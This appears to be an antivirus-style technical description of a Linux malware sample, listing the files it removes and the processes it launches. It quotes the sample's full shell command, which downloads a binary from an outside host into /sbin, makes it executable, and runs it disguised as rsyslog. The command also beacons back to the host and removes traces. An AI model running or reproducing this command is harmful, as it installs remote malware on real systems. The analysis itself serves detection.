Technical Information
Malicious functions:
Removes the following system files:
- /sbin/x
Launches processes:
- sh -c cd /sbin; rm -rf rsyslogb; curl -O http://download.ts3.rent/rsyslogb &> x; chmod 777 rsyslogb; sed -i 's/\r//' rsyslogb; nohup sh -c '/sbin/rsyslogb -i /var/run/syslogd.pid -c 5 &>/dev/null &' &>/dev/null &> x; curl http://download.ts3.rent/kayit.php?kayit=1 &> x; rm -rf x; cd;
- rm -rf rsyslogb
- chmod 777 rsyslogb
- sed -i s/\r// rsyslogb
- nohup sh -c /sbin/rsyslogb -i /var/run/syslogd.pid -c 5 &>/dev/null &
- rm -rf x
- sh -c /sbin/rsyslogb -i /var/run/syslogd.pid -c 5 &>/dev/null &
Performs operations with the file system:
Creates or modifies files:
- /sbin/x
Deletes files:
- /sbin/rsyslogb